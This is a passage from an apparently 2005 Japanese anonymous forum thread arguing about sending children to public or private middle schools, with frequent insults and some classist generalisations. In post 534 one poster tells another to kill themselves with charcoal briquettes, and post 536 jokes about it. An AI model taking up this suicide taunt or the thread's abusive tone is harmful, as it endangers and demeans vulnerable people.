おまえの上の言っていることをまともだとすると、ほとんどの私立親がDQNということになる。
公立だってアピールしていないわけじゃないしな。





506 :名無し@教育板:2005/04/13(水) 23:11:20 ID:RIBmlDhO
とにかく、論理をきちんと整理できないんだよな、おまえは。
アバウトってかテキトーな自分勝手な「感じ」だけでデタラメ書いているから、
言っていることがころころ変わってしまう。
自分で気がついていないんだから、どうしようもないな。


507 :名無し@教育板:2005/04/13(水) 23:18:05 ID:RIBmlDhO
>>505

>>398

ほとんど同じことだな。
100レス以上費やしても、ちっともわかんねえんだよな。


508 :実習生さん:2005/04/14(木) 00:23:26 ID:ENGOooho
潮目が変わった?名無しが論理を語りだすとは…

こりゃ、明日の天気は期待できそうだな

509 :実習生さん:2005/04/14(木) 01:39:53 ID:gT0w9Ofv
鬼畜

510 :実習生さん:2005/04/14(木) 04:56:02 ID:sDGVcefP
俺も最近の「ゆとり教育」とやらは間違ってると思うし(円周率「3」って一体何事!?)、学力低下に対して何ら対策をしていない公立学校は大問題だと思う。

で、なんでこんな事いうかっつうと、俺は自分の子供は中学までは公立に行かそうと思ってるから。
それはカネがなくて行かせたいけど行かせられないからではなく、教育に無関心なわけでもなく、其の方が子供の将来にとっていいだろうと思っているから。

高学歴高収入、教育に関心のある親は私立の進学校に子供を通わせ、低学歴低収入、DQN親は公立のゴミ学校に行かせる、
っていう言い切りはおかしいんじゃないの?と。

学力、進学の面からのみ見れば公立の優れたところは何もない。
でもそれ以外のところに公立のよさってのはあるんじゃないか?

加えて言えば、本当に能力があって進学の意思があればちゃんとした高校・大学に行けるんじゃないか?
これは自慢だが、俺は公立中学校でロクに勉強なんざしたことなかったが中間・期末試験では常に平均90点くらいは取っていた。

私立の方が進学実績がいいのは至極当然で、そういう私立進学校ってのは「進学」に価値を置く人たちが通い、「進学」のためのいろいろなことをしているわけだから。

俺が自分の子供を公立に行かせる、って言うのは「公立出身で私立の有り様を知らない親」だからだ、と思うかも知れない。
でも逆にいうとあんたらは私立出身で公立の有り様を知らないわけだ。

繰り返すけど学力・進学実績の面からみれば私立の方が優れていることは較べるべくもないよ。
でも他の部分も含め、トータルして考えた時に絶対的にどっちが劣っていてどっちが優れているなんてことは言えないはずだ。

511 :実習生さん:2005/04/14(木) 09:35:37 ID:eY2c7187
>でもそれ以外のところに公立のよさってのはあるんじゃないか?
その、公立のよさって、具体的には何?
長いレスだが、それが書いてないことには
意味がない
どうして、公立のほうがいいと思ったのか?


512 :名無し@教育板:2005/04/14(木) 10:26:03 ID:EV9TF6Pv
>>510 みたいな考え方はデフォルト。
こういう香具師は心配しなくていい。
単にまだ幼いだけ。

>>510 はまだ子供がいないか、いても学齢に達していないだろう。
子供を幼稚園、小学校(多くの場合公立)に入れて、だんだんと親の方も学び成長して行くのだよ。

子供が中学に行ってもこんなこと言っているんだったらかなりDQNなんだけどね。

513 :名無し@教育板:2005/04/14(木) 10:39:27 ID:EV9TF6Pv
子供の教育を考える場合、実際に親としての立場でない場合は、
「自分が子供だったら」という仮定で考えてしまうわけだ。
しかし、親なら、現実の生身の子供がいて、その子の人生ということがちゃんとわかる。
それは自分の人生のやり直しバージョンじゃないってことがわかる。

たとえば、自分が危険地帯を行くことに躊躇しなくても、
子供に親としてそうさせることは「とんでもない」と思うのがふつう。
とくに男親は女の子にそんなことさせたくない。絶対させない。

親が子供を思う気持ちってのは本能なので、実際に体験していないと想像できない。
新人サラリーマンが子供の写真を持ち歩いている上司(子供の写真年賀状配る)を馬鹿にしていても
結局はそいつも結婚して子供が出来れば同じことをやるわけだ。



514 :実習生さん:2005/04/14(木) 11:27:55 ID:XepHFNd7
公立<私立というのは成り立つのか?


515 :実習生さん:2005/04/14(木) 12:14:44 ID:yG8C1gpt
>>513
なら既婚者で子持ちでこんな所で電波レスしているお前はかなりの重症だ
まさか体験もしていないのに「想像できない」だの言ってるわけじゃね〜よな〜

516 :実習生さん:2005/04/14(木) 12:25:52 ID:RTzqR5M0
ゆとり教育は間違ってない!
ゆとり教育は大いに結構!
どんどんゆとり教育を推進すべき!

自分の子供は私立一貫制の進学校に入れるけどね。


517 :実習生さん:2005/04/14(木) 12:38:35 ID:bhIF6qsX
>513男の子か女の子かは関係ないな


518 :名無し@教育板:2005/04/14(木) 12:45:56 ID:EV9TF6Pv
>>517
現実に女子の方が私立中学進学率は高い。


519 :実習生さん:2005/04/14(木) 13:19:17 ID:N8TTxlVf
まあ、公立が危険だとわかっていながら公立に入れる親なんて
終わっていると思うが、かといってそもそも公立に対して
何の疑問も持たずに子を入れる親も終わっているなw

520 :実習生さん:2005/04/14(木) 13:28:51 ID:bgVQoT3U
>>511
>どうして、公立のほうがいいと思ったのか?

近所の友人と学べる、遊べる、通学時間がかからない。

高校で私立難関高校に行ったがありゃ結構特殊な社会だよ。
ああいう世界は高校(大学?)からで十分。
遅かれ早かれどうせ選抜はされるのだから。


521 :名無し@教育板:2005/04/14(木) 13:35:42 ID:EV9TF6Pv
>>520
>近所の友人と学べる、遊べる、通学時間がかからない。

学校で学ぶ ってのは楽観的すぎるよ、今日では。遊べる、もそうだ。
今の公立ではどちらも弊害(悪いことを学ぶ、悪い遊びをする危険)の方が多い。

通学時間についてはその通りだが、公立中学に行けばその時間がまるまる無駄になるだろ。



522 :名無し@教育板:2005/04/14(木) 13:37:21 ID:EV9TF6Pv
私立難関高校の中学に行く香具師にとっては、公立中の方が特殊な世界だろ。
そんなもん相対的なものだ罠。

523 :ちと:2005/04/14(木) 13:54:37 ID:sxzV1Xlj ?
まあ、どこの中学校へ行っても、最終的には本人の能力次第だってこと。そのあと、どんな高校に進学し、
どんな大学・大学院に入学するかだよね。

524 :実習生さん:2005/04/14(木) 13:56:37 ID:3R5G89Yr
>>510
絶対公立とはじめから決めちゃわないで私立も選択肢に入れて
比較検討した上で決める方がいいと思う。
私立、公立どちらにも言えることだけど
知らないでステレオタイプの偏見を持っている場合もあるからね。
学区の公立と私立と両方の情報を集めて子供の適性と共に検討したら?



525 :実習生さん:2005/04/14(木) 14:03:19 ID:gMVt/+B0


526 :ちと:2005/04/14(木) 14:06:38 ID:sxzV1Xlj ?
もちろんそのあとどのような仕事をするかだよね。

527 :実習生さん:2005/04/14(木) 14:13:14 ID:SNGcVuL9
145 名前: 都内在住の主婦 投稿日: 02/02/15 11:42 ID:TIs2zBa7
旦那の年収が1200万円で、息子と娘を公立の中学に通わせてますが何か?

146 名前: 実名攻撃大好き教育ママごんさん? 投稿日: 02/02/15 11:49 ID:y2A8ylz/
>>145
1200万程度でなんだって言うんだ?

148 名前: 都内在住の主婦 投稿日: 02/02/15 12:48 ID:TIs2zBa7
ところで、文京区の中学生の半分が私立ってのはホントですか?
ちの子供が通ってた小学校(江東区)では、私立に逝くのは3人程度でしたYO

149 名前: 実名攻撃大好き教育ママごんさん? 投稿日: 02/02/15 12:50 ID:TIs2zBa7
>>145
あんたは年収1000万以下でしょ?
あんたの子供も公立いってるんでしょ??

152 名前: 146だが 投稿日: 02/02/15 14:42 ID:y2A8ylz/
IDから察すると145=148=149だろ
で149で>>145とは>>146の間違いだと思うが、オレはオマエよりも年収は
多いし、子供も4月から私立中に入学するわ。
それにオレの社内では年収1000万なんてウジョウジョいるけど
誰も聞かれもしないで、自分の年収がいくらだななんて下衆なこと言う
ヤツはいないわ。
オレが言いたかったのは、誰もオマエの年収なんか聞いてもいないのに、
偉そうにアホなこと言ってるヤツがいるわってことだよ!
江東区あたりは民度が低いんだな、って思いたくなるわ。
他の善良なる江東区民には申し訳ないが・・・
すべての公立がそうだとは思わないが、こういう文化水準の低い親が
公立にはいるんだと、つくづく思うわ。
上には上がいるってことを知ることだな!


528 :実習生さん:2005/04/14(木) 15:27:03 ID:ji+DAs81
8割ぐらいの奴は公立中にいくんだろ?

529 :実習生さん:2005/04/14(木) 15:53:21 ID:hioZ8YzD
1000万?私立?つまり金があるカラ私立に通わせるって事?ぢゃ私立は金持ちが行くトコだって言ってるワケか。でも子供に良い環境と設備で勉強させたいと思う人が私立に行かせるってのが普通ダロ。金は無関係。私が公立派なのは私立はたまに君みたいな勘違い自慢ヤローがいるカラだよ。

530 :実習生さん:2005/04/14(木) 16:05:15 ID:NKU/cGxc
親の無知がガキを破滅に追い込んでるなww

531 :名無し@教育板:2005/04/14(木) 16:08:58 ID:EV9TF6Pv
>>529
529は誰に向かって吼えているんだろ?

これだから公立派はDQNだってすぐにわかっちゃうんだよなあ。




532 :実習生さん:2005/04/14(木) 16:15:49 ID:hioZ8YzD
私は公立中だったが、親に小学生という遊びたい盛りの時期に無理に週6日も習い事や塾に通わされ、勉強が大嫌いに。もちろんそんな生活を6年も続けたわけはなく、うまく親をごまかして勉強をサボる事くらいすぐ覚えた。そしてついに高校受験。私は勉強は何が何でもイヤで、

533 :実習生さん:2005/04/14(木) 16:19:49 ID:hioZ8YzD
まぁ親のおかげで少しは頭のいい方だったので勉強しなくてもテストはだいたいいい点取ってたため結局勉強しないとヤバイと気づいたのは5日前。そして点は取ったものの普段学校でストレス発散してたため内申が悪くて落ちました。そして私立でまた勉強。あーあ。私ってかわいそう。

534 :実習生さん:2005/04/14(木) 16:51:32 ID:RTzqR5M0
>>533
勉強が嫌いに成った時点で既にあんたの人生は終わってるって。
あとは惰性というか余生。
はやく練炭でも使ってくださいね。

535 :実習生さん:2005/04/14(木) 17:18:43 ID:3R5G89Yr
>>534
あなたがどういう立場の人か知らないが、いくら2ちゃんとはいえ
練炭使え なんてあまりにも非常識。
>>533さんはご本人の希望や適性とご両親様の対応が噛み合わずに
来てしまったみたいだけど軌道修正も挽回も充分出来ますよ。



536 :名無し@教育板:2005/04/14(木) 17:32:13 ID:EV9TF6Pv
今では練炭を買う時に、
「何に使いますか?」
って聞かれるそうです。
「バーベキュー」
って答えると売ってくれないんだって(w

今の季節、「サンマ」でも「屋外でストーブがわりに」でもダメだしね・・・



537 :実習生さん:2005/04/14(木) 17:47:36 ID:FwAwpYbf
>>534
勉強真理教徒ですか?
勉強が出来なくても仕事ができる人はたくさんいます。
あなたは高学歴なのでしょうが、接客の仕事に自信はあるでしょうか?
私の知り合いで高校中退だけど店員として自立している人がいます。
同じ歳でも勉強ばかりしていていまだに自立していない大学院生もいます。
勉強が出来ない=駄目 というのは思い込みに過ぎないでしょう。

たしかに大金持ちになりたいなら勉強が出来て医者や弁護士になればいいのでしょうが、
普通に生きる分には勉強はそこそこでいいのですよ。

538 :実習生さん:2005/04/14(木) 17:53:48 ID:NKU/cGxc
名無しの言う勉強はいわゆる受験の為だけの
勉強とは違うと思うのだが。

539 :私立擁護派公立出身地底:2005/04/14(木) 17:58:33 ID:SE+tmjYA
>同じ歳でも勉強ばかりしていていまだに自立していない大学院生もいます。

ああ、もうDQNの決まり文句っつーかw
オレから見たら中卒が「金稼いでるオレの方が
親の金で学校行ってるお前ら(高校生)よりえらいもんねー」
って言ってるのと対して変わらんレベルの話だな。
同じ性格、同じ能力(勉強以外)の2人がいたとして、
勉強できる、できないの差があったら勉強できないより
できる方がいい。そういう意味で「勉強はできるほうがいい」んだよ。
そんなことも判らずに「勉強はいらない」っていう奴はDQNって言われるんだよ。
勉強頑張ったらそれだけになって他の能力身につかないと思ってるんだろ。
勉強も頑張るし、他のことも頑張るんだってーの。
あと大学入ったことのない奴は大学院のことなんてわからんだけだろ。

540 :実習生さん:2005/04/14(木) 18:07:17 ID:3R5G89Yr
>>539
全く同感です。

話はそれるけど、子供が通った男子中高一貫校(2校とも)はみんな以外と
体育を頑張るのにビックリ。技家や美術などもしっかりやっていました。

541 :実習生さん:2005/04/14(木) 19:09:22 ID:n/oDze6/
離婚率の高さが一番の大きな原因だと俺は思う。
全部とは言わないが。
大体バツイチの奴は女が子供を引き取るだろ?
女が昼、事務員とかやって手取りが月10万そこそこだろ。
家賃が3〜4万ぐらいのボロアパートを借りたとして、家賃引いてあと6万。
そこから食費が抑えても3万はでるわな。で残3万。
さらに光熱費やらなんやらと最近は携帯も持つから「通信費」も上乗せ…
…絶対やっていけないじゃん。で、実家に戻って親と暮らしたとしてもキビしい。
それで昼の仕事をやめて夜の街で働くわけじゃん?そしたらガキは預けたりとかするでしょ?
でも、だんだん大きくなってきて中学生とかになったら家に一人で留守番じゃん?カギッ子ってやつで。
そうすると特に女の子なんか寂しいから外に出て友達と会ったりタムロしたりするじゃん。同じような境遇のヤツラと。
中には部屋に呼んでセックスしたり煙草吸ったり飲み会したりとかする奴とかも出るじゃん。どうせ親は仕事行って居ないし。
こんな感じでDQNは増えていってるんじゃん??
違うかなあ。


542 :実習生さん:2005/04/14(木) 20:04:46 ID:v5qxHR/G
>>539
ま、最近の大学院生で特に文系は単なる「就職逃れ」や「モラトリアル延長」も多いからな
留学とかもそうだけど。
他人の生き方に対する主観の問題だから意見は肯定でも否定でも言わないのが賢明
なのは同意。



543 :実習生さん:2005/04/14(木) 21:37:21 ID:x4i9ngyX
>504
スレ全体が広義の公立マンセーだというお前の勝手な思い込みなんか関係ないんだよ。w
漏れは458のコメント「本気で公立がいい」はお前の言う「単純に「公立>私立」」
って事じゃね〜か。w
逆にこの言葉を広義だというのなら「本気で公立がいい」という表現はおかしいだろ。
これを広義として捉えるんだというんであれば、狭義の公立マンセーが公立をいいと思ってることを
どう表現するんだってことになるからな。 
お前が例としてだした「本気で偏差値60以下は行く意味なしなんて思う奴がいるなんて考えられん」
なら広義の公立マンセーだし、単純に「公立マンセーのやつがいるなんて考えられん」なら、
お前のいう広義の意味で捉える事も可能であるが、
「本気で公立がいい」という表現は狭義の公立マンセーの意味でしか捉えられない発言だろう。

ようはお前は「おまけ」や「公立マンセー」など言葉というものが文脈や使い方によって
意味やニュアンスが異なり、いろいろあるという事が理解できないばかだってことなんだよ。

>505
わかったわかった。w
「それをアピールしてる私立中(すべての私立じゃない)に通わせる「一部の」親がDQNだろ。」
に訂正するよ。wこれで満足か?w
「公立中を選択しない」って事を言うための書き込みなんだから
私立を選択する側の細かい限定された条件まで記してないんだよ。」
って書いてるんだけどなあ。
馬鹿でも理解できる、平易な文を書いてるつもりなんだが、
理解できずに読み飛ばしたのかな。。?
馬鹿は3行以上は斜め読みで読んだ気になるのかもな。w

544 :名無し@教育板:2005/04/14(木) 22:46:54 ID:EV9TF6Pv
>>543
>ようはお前は「おまけ」や「公立マンセー」など言葉というものが文脈や使い方によって
意味やニュアンスが異なり、いろいろあるという事が理解できないばかだってことなんだよ。

これはおまえのことだろ(w

オレが>>417で横レスを入れるまでの話の経緯は

>>458=(まともな人A)狭義の公立マンセーなんかいないだろ。
>>462=(おまえ)いるわけないじゃんか
>>466=(まともな人B)いや狭義の公立マンセーもいないことはないよ。
>>469=(おまえ)の話が読めていないわけわからん罵倒

あまりにもおまえが理解していないので助け舟を出してやったんだが・・・


545 :名無し@教育板:2005/04/14(木) 22:57:56 ID:EV9TF6Pv
>>543
>「それをアピールしてる私立中(すべての私立じゃない)に通わせる「一部の」親がDQNだろ。」 に訂正するよ。wこれで満足か?w

私立中が受験学力養成をアピールすることも、体育をアピールすることも、徳育をアピールすることも全く正当なことだ。
受験学力養成をアピールしている私立中=大学附属などを除くほとんどすべての私立中 でもある。
何度も言っているように、問題は「受験学力養成」ひとつだけを取り上げて他を捨てる(無視ないし軽視すること)だ。
したがって、上の文言は、
「私立中に通わせる一部の親はDQNだ」ということであり、そりゃ、私立中に通わせる親にもDQNはいるから間違いではないが、
結果として何の意味もなさない。
明らかにDQNが書いた文と言える。

「受験学力養成だけが学校に求められていることだ、と考えるDQN親は、つまり、学校教育がわかっていないのである。
私立なんか理解できない。
だから、結局、どうでもいい、金もかからない方がいい・・・公立中に行く。



546 :実習生さん:2005/04/15(金) 04:03:15 ID:9gEItQDx
どうでもいいけどさ、日本人同士が教育という国家の根幹に関わる問題で、
私立派と公立派に分かれて喧嘩してるって方が問題だわ。

隣の国を見てみろよ。日本人同士で喧嘩してる場合か?

経済で中国に抜かれたら、私立も公立もねーぞ。日本そのものがダメになる。

547 :実習生さん:2005/04/15(金) 05:11:26 ID:ZK+URm5D
どっちみち日本に未来なんて・・・・
私達が老人になるころには
どうなっていることやら
想像がつかない


548 :実習生さん:2005/04/15(金) 08:42:27 ID:5LhFTxic
>>547
日本を出れば良い。

549 :実習生さん:2005/04/15(金) 09:24:30 ID:b0ByEJUJ
>544
466の「いろんなタイプがいる」だの、「タダ」だの「DQNがいる中での荒波だ」の
どこが「狭義の公立マンセー」を意味する発言なんだよ。w
「タダ」という発言が「タダ」で私立より、よい教育をうけてるんだっていうなら狭義の公立マンセーだが、
タダであるという発言は単なる事実をいってるだけじゃね〜か。w
「DQNがいる中での荒波だ」、DQNがいるからこそ公立に行くべきだという意味だと思ってるのか?w
どこをどう読めばそんな事かいてるんだよ。w

「〜〜なんだから私立よりいい○○なので公立に行くべきだ」につながるかどうかで判断できるわな。
せいぜい一番最初の「いろんなタイプがいる」が唯一狭義の公立マンセーといえるかもしれんが
これは私立を選ぶうやつにとって、いろんなタイプ(貧乏人や勉強のできないやつ、知的障害者等)
がいないことこそメリットと考えるんだから、いろんなタイプがいるって事はマンセーというより
単なる事実を言ったにすぎない。
いろんな奴がいるからこそ公立には行くべきでないってことがいえるんだからな。

550 :実習生さん:2005/04/15(金) 09:34:35 ID:b0ByEJUJ
>545
> 私立中が受験学力養成をアピールすることも、体育をアピールすることも、徳育をアピールすることも全く正当なことだ。

親の話をしてるのにいつも私立中は正当だとかわけのわからんことをいいだすところが馬鹿なんだよ。w
100人の公立小の親のうち、30人が進学実績以外をおまけと考える親がいた場合、
30人の親の中で公立中のほうに魅力を感じる親は0人だっていってるんだよ。w
私立中に30人が魅力を感じるんだから、当然その中から私立に行く奴がでてくるんだよ。w

> 私立なんか理解できない。
進学実績だけをみてるんだから大学名と合格者数という簡単な数字で判断するんだよ。w
私立を理解する必要なく、進学実績を理解できればいいんだから当然私立中を選択するんだよ。w

進学実績を重視する親が「結局、どうでもいい」となるわけないだろう。w
馬鹿をいうのもいいかげんにしとけよ。
進学実績を重視する親の必死さはものすごいんだからな。w
新幹線で進学実績のいい塾に通わせる馬鹿親までいるんだからな。w

551 :名無し@教育板:2005/04/15(金) 11:14:30 ID:uVtKneVw
>>550
>親の話をしてるのにいつも私立中は正当だとかわけのわからんことをいいだすところ

全然話が理解できてないな・・・・

>100人の公立小の親のうち、30人が進学実績以外をおまけと考える親がいた場合、

また話をすりかえる。
「受験学力養成以外教育はおまけ」と考える親だろ。
進学実績をキーファクターにして私立を選ぶ親がいるとしても、それは、それ以外の教育についても
当然きちんとしている、と私立を信頼しているからであって、「なくてもいい」「どうでもいい」「おまけ程度」と考えているわけではない。

馬鹿親の子はそもそも私立に入れないよ(w 
私立の方でお断り。「公立へ行って塾に通ってください」だよ。
馬鹿親の方にとっても「受験学力」だけに的を絞った「塾」に投資してあとは「タダ」の公立中の方が投資効果がいいんじゃないの?
実際、それらしき公立マンセーはよく出てきてたし。








552 :名無し@教育板:2005/04/15(金) 11:30:24 ID:uVtKneVw
>>549
いちゃもんつけている間に何を言わなくちゃならないのか見失ってるじゃん(w

>>466のレスの中に瑕疵があってもそれをオレにいちゃもんつけてもしょうがないだろ。
それ以前に、そこで議論になっている問題をおまえがきちんとわからないで
DQNなツッコミを入れていたんじゃん。

全然わかっていないようだが、おまえは、とにかく、言葉の定義が甘すぎ。
似たようなベクトル上にある言葉だとすぐそれを混同しちゃう。
わざとやっているのかと最初は思っていたけど、どうやら能力としての問題みたいだ。


553 :実習生さん:2005/04/15(金) 13:45:12 ID:b0ByEJUJ
>551
> 全然話が理解できてないな・・・・
理解できないのはおまえだけ。

> 当然きちんとしている、と私立を信頼しているからであって、「なくてもいい」「どうでもいい」「おまけ程度」と考えているわけではない。

考えない親もいてる。それだけのこと。
架空の私立の親を一つ設定するとすべての私立の親が同一の考え方をしてるという決め付けをしている。
お前の馬鹿な脳内の親がどうであるかはどうでもいいんだよ。w
リアルな様々な親の話をしてるんだから。w

> 私立の方でお断り。「公立へ行って塾に通ってください」だよ。
私立はそんな事で断らない。w
それに仮に面接で聞かれたとしても、本音は進学実績であろうが校風がいいからです。
教育理念に共感できましたので。っていうんだよ。w
実際の時はもちろんもっと具体的な話をまじえながらだけどな。w

> 馬鹿親の方にとっても「受験学力」だけに的を絞った「塾」に投資してあとは
「タダ」の公立中の方が投資効果がいいんじゃないの?

おまえの定義のDQNな親は進学実績のいい私立にいって、
さらに塾、家庭教師、Z会の通信添削など取捨選択しながら様々な物に投資する。
あるいは私立にいくと塾や予備校に行く必要がなくなるという考え方をし、
その方が投資効果がいいという考え方をする親もいてる。
どちらにしても進学実績以外をおまけと考える親は公立を選択肢としては考えることはない。


554 :実習生さん:2005/04/15(金) 14:03:34 ID:b0ByEJUJ
>552
> >>466のレスの中に瑕疵があってもそれをオレにいちゃもんつけてもしょうがないだろ。

466のレスの中に瑕疵があるということは認めるのか?w
466がこんな狭義の公立マンセーがいるというレスに対し、
漏れがそれのどこが狭義の公立マンセーなんだという突っ込みを入れたことに対して、
お前がこのスレでは公立マンセーには二つの意味があるとか
漏れが狭義の公立マンセーの事だけをいってるというDQNな突込みをいれてきたんじゃないか。w
466との間では狭義の公立マンセーが話題になってるのに関わらず、
広義の公立マンセーを持ち出すお前の方がDQNじゃないか。w

> 似たようなベクトル上にある言葉だとすぐそれを混同しちゃう
「おまけ」・・・捨てるもの。切り捨てるものだっけ?w
「公立マンセー」・・・広義の公立マンセー
お前が文脈に関わらず一つの意味でしか使えない誤った言葉の定義郡。w
たとえ話というものができない奴にこういう言葉というものを一つの意味でしか
考えられない奴がいてるね。マジに精神か脳内の病気かもよ。

555 :名無し@教育板:2005/04/15(金) 14:32:47 ID:uVtKneVw
>>553
>架空の私立の親を一つ設定すると

設定がきちんとできていない、
話の途中ですりかわっちゃうということを指摘しているんだが・・・・

>私立はそんな事で断らない。w

仮にそういう親が私立に合格できたとしても、
すぐ退学処分でしょ。

>おまえの定義のDQNな親は進学実績のいい私立にいって、
さらに塾、家庭教師、Z会の通信添削など取捨選択しながら様々な物に投資する。
あるいは私立にいくと塾や予備校に行く必要がなくなるという考え方をし、
その方が投資効果がいいという考え方をする親もいてる。
どちらにしても進学実績以外をおまけと考える親は公立を選択肢としては考えることはない。

だから「進学実績」にするかえるな、って。

↓からもう一度読み直せって。

397 名前: 実習生さん 投稿日: 2005/04/11(月) 17:36:46 ID:T4nuVjEI
>395
受験学力の養成以外がおまけだと言う人間がDQNなら
それをアピールしてる私立中(すべての私立じゃない)に通わせる親がDQNだろ。



556 :名無し@教育板:2005/04/15(金) 14:40:46 ID:uVtKneVw
>>554
全然わかっていないじゃんかよ。

>>544を読み返せ。

>お前が文脈に関わらず一つの意味でしか使えない誤った言葉の定義郡。w

緻密な議論をしている時に、言葉の定義を勝手にどんどん替えていいはずないだろ。
文脈とか言っているけど、実際にはおまえのアバウトな感覚だけで
コロコロ替えているんじゃん。



557 :名無し@教育板:2005/04/15(金) 15:04:31 ID:uVtKneVw
公立マンセーの中には簡単に言うと

1)私立の方が公立より良いが、その差はたいしたことがない。(だから公立に行かせてもDQNではない)=広義の公立マンセー
2)公立の方が私立より絶対的にいい。=狭義の公立マンセー

がいる。通常は 1)がふつう。
しかし、たとえば、「私立中学制度廃止厨」などのように、2)もいないことはない。

ID:b0ByEJUJ は、>>462 で

462 名前: 実習生さん 投稿日: 2005/04/12(火) 14:07:24 ID:1dJmRBRG
>458
どこに公立がいいなんて書いてる香具師がいてるんだよ。
いね〜よ。ばかじゃね〜か?

と書いているが、↑が誤りなのは明白。

http://school4.2ch.net/test/read.cgi/edu/1111982487/l50
上述の 「私立中学制度廃止厨」が立てた「加熱スレ」を読めば、
「公立がいいなんて書いている香具師」=狭義の公立マンセーも確かにいることがわかる。また「私立中学制度廃止厨」がこのスレに何回も登場している。
もちろん、それ以外の狭義の公立マンセーも確実に存在している。

つまり、>>462は完全に誤った認識。ばかなのは >>462=ID:1dJmRBRG=ID:b0ByEJUJ で正解。

>>466に多少の瑕疵があっても、基本的には正しい。
ただ いつものことで、>>462=ID:1dJmRBRG=ID:b0ByEJUJ は何を言われても理解できないだけ。



558 :実習生さん:2005/04/15(金) 16:24:44 ID:b0ByEJUJ
>556
だから勝手に変えてるのはおまえなんだってば。w
466との間では狭義の公立マンセーの話をしてるのに
横から広義の公立マンセーだのどうだのいってるじゃね〜か。
あれはお前じゃね〜のか?w

>>466=(まともな人B)いや狭義の公立マンセーもいないことはないよ。

っていってるが挙げている例が狭義の公立マンセーの例としては不適格だといってるんだよ。w
漏れが469でいってるように466が挙げた例は狭義の公立マンセーである公立>私立だという
意味にはならないんだよ。




559 :実習生さん:2005/04/15(金) 16:41:00 ID:b0ByEJUJ
>555
> 仮にそういう親が私立に合格できたとしても、
> すぐ退学処分でしょ。

そもそも親が合格するわけじゃないんだがな。w
あ、なんか555みたいにしょうもない枝葉末節にこだわった突っ込みだったかな?w

普通に通学し、「おまけ」が予想以上に良くて充実した楽しい学校生活をおくり、
現役で志望大学に進学するものもいてる。
もちろん二浪してもマーチにもいけなかったり、
マーチに進学後も仮面浪人で国立を何年も受け続けるようなのもいてる。
さらに大学進学が無理になる学生も当然いてる。人生いろいろだよ。
もちろんやめる人間もいてる。


> だから「進学実績」にするかえるな
進学実績も受験学力の養成も偏差値もほぼ同意ということで使ってます。w
元々の発言した奴はは進学実績って言葉だったと思うけどな。
違うと言うならまず入学時の偏差値が進学実績と「大きく」異なる学校を具体名を挙げて答えてくれよ。w
お前みたいな基地外じゃないからさ、いちいち過去に偏差値か進学実績か
受験学力の養成のうちのどの言葉を使ったかなんて覚えておこうなんておもってないんだよ。w


560 :実習生さん:2005/04/15(金) 16:47:16 ID:bYNP7Obw
広義の公立、狭義の公立の話は正直もうウンザリ。
お二方ともちょっとくどい。

まあイやなら見るなと言われそうですが...。

561 :実習生さん:2005/04/15(金) 16:50:58 ID:b0ByEJUJ
>555
今みておもったが、394が「大抵の親は進学実績をかうからね。」という発言に対し、
お前自体が、395で「受験学力の養成」とお前流にいうと「すりかえてる」んじゃないか。w
進学実績≠受験学力の養成なら395の発言はなんなんだ?w
逆に進学実績≒受験学力の養成なら漏れと同じように使ってるじゃね〜か。w
アホが多いのでお前は395でないのかもしれんがな。w

562 :名無し@教育板:2005/04/15(金) 16:52:50 ID:uVtKneVw
ID:b0ByEJUJ はコテハンでないので「関西人いてる」と呼ばせてもらう。

>>559
>進学実績も受験学力の養成も偏差値もほぼ同意ということで使ってます。w

>いちいち過去に偏差値か進学実績か
受験学力の養成のうちのどの言葉を使ったかなんて覚えておこうなんておもってないんだよ。w

アホそのものだな。
「全然違うものをほぼ同意」「いちいち覚えていない」ことが最大のアホなのに、
開き直っているだけ・・・。

>進学実績も受験学力の養成も偏差値もほぼ同意ということで使ってます。w
>違うと言うならまず入学時の偏差値が進学実績と「大きく」異なる学校を具体名を挙げて答えてくれよ。w

AとBが違うなら、
Aと「C」が違うという例を挙げて・・・・

というアホに何を言えばよいのだろうか・・・



563 :実習生さん:2005/04/15(金) 16:53:28 ID:azYLGY7P
>560に同意
中立のつもりだが、公立出身の自分としては
私立のいいところを分かりやすく教えてほしい。
とくに進学実績がたいしたことのない学校の利点を。

564 :実習生さん:2005/04/15(金) 16:59:43 ID:63bCv5i9
その学校に6年間いないつもりじゃないの?

565 :名無し@教育板:2005/04/15(金) 17:04:58 ID:uVtKneVw
>>561
>>395>>394にそのまま反論したわけではないよ。

>>394 = 大抵の親は進学実績をかうからね。それ以外はおまけみたいなもの

に関しては否定も肯定もしていない。
だからこそきちんと言葉「進学実績」→「受験学力の養成」を替えたわけ。

>>395
「受験学力の養成以外」はおまけみたいなもの、
と平気で言える人間、それがDQNなんだろうな。

と書いた。それに「いてる関西人」が >>397 でそういう緻密な話が全然わからんでつっこんできたんだろ。






566 :名無し@教育板:2005/04/15(金) 17:09:40 ID:uVtKneVw
>>558
>漏れが469でいってるように466が挙げた例は狭義の公立マンセーである公立>私立だという
意味にはならないんだよ。

それはおまえが間違っているだろ。

いずれにせよ、狭義の公立マンセーはいるんだから、
>>466におまえが同意できないとしても、おまえは結果的に負け。

567 :名無し@教育板:2005/04/15(金) 17:27:40 ID:uVtKneVw
>違うと言うならまず入学時の偏差値が進学実績と「大きく」異なる学校を具体名を挙げて答えてくれよ。w

進学実績=入学時の偏差値+受験学力養成

なわけだ。冒頭の関西人いてるの質問から、関西人いてるは、
「進学実績と入学時の偏差値はリンクしている・・・それほどかわりはない」
ということがわかる。ということはだ、関西人いてるでさえ、
上の式の中での「受験学力養成」の数値はそれほど大きくはないということを認識しているということだ。

結論。
「受験学力養成」なんてのは皆それほど気にしない。
ましてやそれ以外は「おまけ」などと考えている香具師なんか、相当のDQNでもなけりゃありえない。


568 :名無し@教育板:2005/04/15(金) 17:49:27 ID:uVtKneVw
>>563
>私立のいいところを分かりやすく教えてほしい。
>とくに進学実績がたいしたことのない学校の利点を。

考え方が反対なんだよ。
進学実績に期待できない、期待していない子供を持った親の立場になって考えてみなさいよ。
どういう「学校」をのぞむ?

需要があるから供給があるわけで、
供給が先にあるわけじゃないよ。



569 :実習生さん:2005/04/15(金) 19:17:10 ID:FolPPLk+
>>567
>>「進学実績と入学時の偏差値はリンクしている・・・それほどかわりはない」
>>上の式の中での「受験学力養成」の数値はそれほど大きくはないということを認識しているということだ。
万馬券が少ない時点で事実だ。

何故にID:b0ByEJUJが関西?

570 :名無し@教育板:2005/04/15(金) 20:05:49 ID:7cwYK95V
>>569
>何故にID:b0ByEJUJが関西?

関西弁で書いてるじゃん(w


571 :実習生さん:2005/04/15(金) 21:35:02 ID:rhbQYPNv
公立の中高一貫校はどんなもんだろう?
まだ少ないからなんともいえないか。
 なんか、エリート校に反対する連中は多いが、これがスポーツだとどうなんだろう?
